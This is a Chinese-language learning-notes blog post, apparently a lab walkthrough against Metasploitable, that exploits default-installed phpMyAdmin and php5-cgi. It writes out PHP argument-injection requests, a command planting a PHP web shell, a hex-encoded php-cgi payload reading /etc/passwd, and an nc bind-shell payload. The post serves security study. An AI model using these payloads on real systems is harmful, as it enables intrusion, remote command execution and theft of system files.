Kali学习笔记29:默认安装漏洞

文章的格式也许不是很好看,也没有什么合理的顺序

完全是想到什么写一些什么,但各个方面都涵盖到了

能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

 

默认安装漏洞:

早期Windows默认自动开启很多服务

很多的黑客就会利用这些漏洞轻易获取System权限

在Linux和Windows系统中都会有很多的默认安装漏洞

下面我就典型的案例来分析:

 

目标靶机Metasploitable的IP:192.168.163.129

Kali机器的IP:192.168.163.132

 

PHP部署的程序猿会知道:

phpMyAdmin专门用来管理MySQL数据库

如果粗心的程序猿就会忘记进行配置

于是我们可以访问到一些敏感的目录(早期版本):

例如phpMyAdmin/setup

Kali学习笔记29:默认安装漏洞

 

如果程序猿不进行一些访问限制,那么很多的黑客就可以通过这种方式来进入,从而进行恶意的操作

 

只是说没有什么意思,下面我具体地来利用这个漏洞来测试:

我用Burp来重发请求,并且做一定的修改:

POST http://192.168.163.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1                 
Host: 192.168.163.129
<?php passthru('id'); die(); ?>

通过上边的一系列代码使目标机器执行操作系统的id命令

利用Burp的Repeater做到了,获取了UID

 Kali学习笔记29:默认安装漏洞

 

那么其他命令呢?比如ls

Kali学习笔记29:默认安装漏洞

 

 

但是,我们如果发送一些管理员权限才可以使用的命令:比如reboot

这时候就不可以做了,因为我们获取的只是普通权限

 

那么,我们是否可以写文件呢?是否可以获取shell呢(其实这已经获取了shell)?

 

第一种上传网页木马

echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" >/var/www/2.php

Kali学习笔记29:默认安装漏洞

 

服务器返回了OK

 

接下来我们访问:192.168.163.129/2.php?cmd=[命令],就得到shell了

Kali学习笔记29:默认安装漏洞

 

 

然后就可以做提权了

 

第二种:使用Kali自带的一些脚本,直接获取shell:反连Shell

我把它复制出来,稍作修改就可以使用:

Kali学习笔记29:默认安装漏洞

 

 Kali学习笔记29:默认安装漏洞

 

保存

 

然后把全篇内容作为Body用Repeater发送:

注意这里的HOST必须是Kali的IP

Kali学习笔记29:默认安装漏洞

 

同时用nc监听:nc -vlp

Kali学习笔记29:默认安装漏洞

 

发送后就获得了真正的Shell

注意:这里获取了shell,但是并没有在目标服务器上写入数据,只是反连接获取了一个shell

 

有一个小问题:获取了Shell,但是无法执行Ifconfig这个基本命令,需要怎么办?

whereis ifconfig搜索位置

进入目标目录,然后./ifconcig即可

 

Ubuntu/Debain默认安装PHP5-CGI漏洞

其针对Apache/PHP远程代码执行漏洞攻击

该漏洞存在于使用PHP的Apache服务器,在Debian和Ubuntu的服务器上默认安装php5-cgi模块的服务器都存在此漏洞。

程序员可以使用CGI模块在PHP代码中调用操作系统的命令

如果安装了PHP5-CGI,则会在/usr/lib/cgi-bin下面生成两个二进制文件:php和php5

下面我会利用这里的php远程执行代码

我们发送编码后的参数信息(编码是为了防止服务器过滤信息)去获取目标服务器的shell

POST 
/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 45



<?php
echo system('cat /etc/passwd');
?>

 

不过,遗憾的是,这里我失败了

 

成功的话,理论上可以参照上边的方式继续进行渗透

甚至可以直接写入指令,让目标系统直接开启某个端口,我用NC连接即可:

<?php
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>

 

这一篇稍简短一些,后边我们继续